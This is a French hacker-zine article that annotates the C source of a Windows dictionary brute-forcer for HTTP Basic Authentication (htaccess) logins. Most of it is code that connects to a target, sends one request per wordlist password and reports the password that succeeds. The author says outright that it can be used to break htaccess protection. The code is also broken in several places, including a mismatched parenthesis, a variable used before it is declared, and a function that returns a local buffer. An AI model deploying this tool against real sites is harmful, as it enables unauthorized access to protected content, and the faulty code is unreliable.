---
INTRO ---
Pour
mon premier article dans le zine d'Espionet, j'ai choisi de vous
faire le commentaire de la source d'un bruteforcer en C sur
Windows. Celui-ci est à but instructif, mais il peut bien sûr
être utilisé pour forcer des htaccess. Pour pouvoir
fonctionner, il nécessite juste un dictionnaire.
Avant
de commencer, je tiens juste à préciser que n'importe qui
connaissant un minimum le C aurait pu écrire cet article. La
source n'est pas totalement optimisée, et n'étant pas parfait,
il y subsiste sûrement encore quelques erreurs... Pour
comprendre cette source vous aurez juste besoin des bases du C,
ainsi que de notions sur la prog winsock.
---
THEORIE ---
La
sécurisation d'un répertoire d'un site web est la plupart du
temps gérée par un htaccess. C'est en effet la solution la
plus sure si le site ne présente pas de failles. La seule méthode
pour parvenir à casser cette protection est donc d'utiliser un
logiciel testant des mots de passe un à un.
Le
modèle d'authentification de base créée par le htaccess est géré
par le protocole HTTP. Celui-ci consiste à
demander à l'utilisateur un login et un password pour
l'identifier. Le client doit envoyer une requête classique au
serveur, avec le paramètre 'Authorization: Basic login:pass' :
GET
http://SITE/REPERTOIRE_PROTEGE/ HTTP/1.0
Authorization:
Basic base64[LOGIN:PASSWORD]
Host:
HOTE
La
difficulté réside dans le fait que le login et le password
doivent être encodé en base64. Pour le login 'admin' et le
password 'pouet' par exemple, on obtiendrait donc ceci :
GET
http://SITE/REPERTOIRE_PROTEGE/ HTTP/1.0
Authorization:
Basic YWRtaW46cG91ZXQ=
Host:
HOTE
---
SOURCE ---
Pour
commencer, il faut se connecter à la cible, en fonction de l'hôte
:
-----------------------------------
CODE -----------------------------------
#include
<string.h>
#include
<stdio.h>
#include
<winsock2.h>
#pragma
comment(lib, "ws2_32.lib")
void
main()
{
char req_host[32] =
"";
char ip[16] = "";
struct hostent *host;
struct in_addr **a;
printf("Hote : ");
scanf("%31s",
req_host);
WSADATA wsa;
WSAStartup(MAKEWORD(2,0),
&wsa);
// on cherche l'adresse ip de l'hôte
if(host = gethostbyname(req_host))
// si celui-ci existe
{
for (a=(struct in_addr
**)host->h_addr_list; *a; a++)
sprintf(ip, "%s", inet_ntoa(**a));
// on copie son adresse ip au format (xxx.xxx.xxx.xxx)
dans char ip[16]
}
// on définit ensuite les paramètres du socket
SOCKET sock;
SOCKADDR_IN sin;
sin.sin_addr.s_addr =
inet_addr(ip); //
on associe l'adresse ip de l'hôte au socket
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
// on associe le port 80 au socket, puisqu'on utilise le
protocole HTTP
sock = socket(AF_INET,
SOCK_STREAM, 0);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));
// on se connecte à l'hôte
-----------------------------------
/CODE -----------------------------------
Une
fois que l'on est connécté, il faut lire les passwords contenu
dans le dictionnaire, un à un :
-----------------------------------
CODE -----------------------------------
char c;
char dico[64] =
"";
int n, j=0;
FILE * file;
printf("Adresse du dictionnaire : ");
scanf("%63s",
dico);
file = fopen(dico, "r"));
// on ouvre le dictionnaire en lecture seule
while (!feof(file)) // tant que le pointeur n'arrive pas à la
fin du dico
{
fread(&n, 1, 1, file);
// on lit caractère par caractère le dico
c = (char)n;
// on associe au caractère 'c' le caractère lu
if (c != '\n')
// si le pointeur n'est pas arrivé à la fin de la ligne
{
pass[j] = c;
// on 'construit' le password en rajoutant le dernier
caractère lu
j++;
// on incrémente j de 1 pour lire le prochain caractère
}
else
// si le pointeur est arrivé à la fin de la ligne, cela
veut dire qu'on a lu un password du dico
{
// on peut tester le password
-----------------------------------
/CODE -----------------------------------
C'est
donc maintenant que l'on passe à l'attaque :)
-----------------------------------
CODE -----------------------------------
char path[128] = "";
char login[32] =
"";
char pass[32] =
"";
char auth[64] =
"";
char buffer[128] =
"";
char requete[1024] =
"";
printf("Adresse du dossier protége sur le serveur :
"); // on
récupère l'adresse du dossier sur le serveur
scanf("%127s",
path);
printf("Login :
"); // on
récupère le login avec lequel on testera le password
scanf("%31s",
login);
sprintf(auth, "%s:%s", login, pass);
// on copie le login et le password sous la forme 'login:password',
pour l'encoder ensuite en base64
sprintf(requete, "GET
http://%s/%s HTTP/1.0\r\nAuthorization: Basic %s\r\nHost:
%s\r\n\r\n", req_host, path, base64_encode(auth), req_host);
// on créée la requète à envoyer (la fonction
(base64_encode) qui encode le login et le password est décrite
ensuite).
Sleep(10);
sock = socket(AF_INET,
SOCK_STREAM, 0); //
on reinitialise le socket
connect(sock, (SOCKADDR
*)&sin, sizeof(sin));
// on la connecte au site
send(sock, requete, strlen(requete),
0); //
on envoie la requête
buffer[0] = '\0';
while(!buffer[0])
// tant que le réponse du serveur n'est pas nulle
int rec = recv(sock, buffer, sizeof(buffer), 0);
// on recoit la réponse du serveur
if((strstr(buffer, "401 Authorization Required"))==0)
// si la réponse du serveur ne contient pas le code 401,
l'authentification a réussie
{
printf(" [ OK ]");
// le password est donc bon. Youpi
system("pause");
exit(-1);
}
closesocket(sock);
// on ferme le socket proprement
j = 0;
// on remet à 0 ces paramètres pour
for (i=0; i<32; i++) {
pass[i] = '\0'; }
// pouvoir lire le prochain password
}
// on teste le prochain password
fclose(file); // on ferme le fichier
WSACleanup(); // on efface les données WSA
-----------------------------------
/CODE -----------------------------------
Il
reste juste à voir maintenant la fonction base64_encode,
permettant d'encoder une chaîne de caractères en base64.
L'algorithme de la base64 se décompose en ces étapes :
-
encoder la chaîne en binaire
-
la découper en nombres de 6 bits chacun
-
convertir ensuite les nombres de 6 bits de cette manière
. de 0 à 25 : A à Z
. de 26 à 51 : a à z
. de 52 à 61 : 0 à 9
. 62 : +
. 63 : /
-
compléter par le caractère égal pour obtenir une chaîne dont
le nombre de caractères est un multiple de 4
-
réassembler le tout :)
-----------------------------------
CODE -----------------------------------
char
* base64_encode(char * to_encode)
{
static char translation[65]
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char str_8bit[9] =
""
char str_binary[2048] =
"";
char encoded[2048] =
"";
int i, j, k, l;
int binaire[9] = { 128, 64,
32, 16, 8, 4, 2, 1 };
// on commence par encoder le password en binaire
for (i=0; i<strlen(to_encode);
i++)
{
k = (int)to_encode[i];
for (j=0; j<8; j++)
{
if (k>=binaire[j])
{
str_8bit[j] = '1';
k = k - binaire[j];
}
else
str_8bit[j] = '0';
}
strncat(str_binary,
str_8bit, 8);
}
if (strlen(str_binary)%6)
// si la longueur de la chaine binaire n'est pas
divisible par 6, on rajoute 1
k = strlen(str_binary)/6+1;
else
k = strlen(str_binary)/6;
for (i=0; i<k; i++)
{
l = 0;
for (j=0; j<6; j++)
// on découpe la chaine binaire en morceaux de 6 bits
{
if (str_binary[(6*i)+j]=='1')
l = l + binaire[j+2];
}
encoded[i] = translation[l];
// on convertit le nombre en caractères utilisé par la
base64 (A-Za-z0-9+/)
}
while (strlen(encoded)%4)
// si la longueur de la chaine n'est pas un multiple de
4, on complète avec le signe égal
strcat(encoded,
"=");
return(encoded);
}
-----------------------------------
/CODE -----------------------------------
---
CONCLUSION ---
Voili
voilou. J'espère que j'ai été clair dans mes explications et
que je vous aurez appris quelque chose.
-----------------------------------------------------------------------
Gabichounet
Pour
me contacter :
gabichounet@espionet.com
|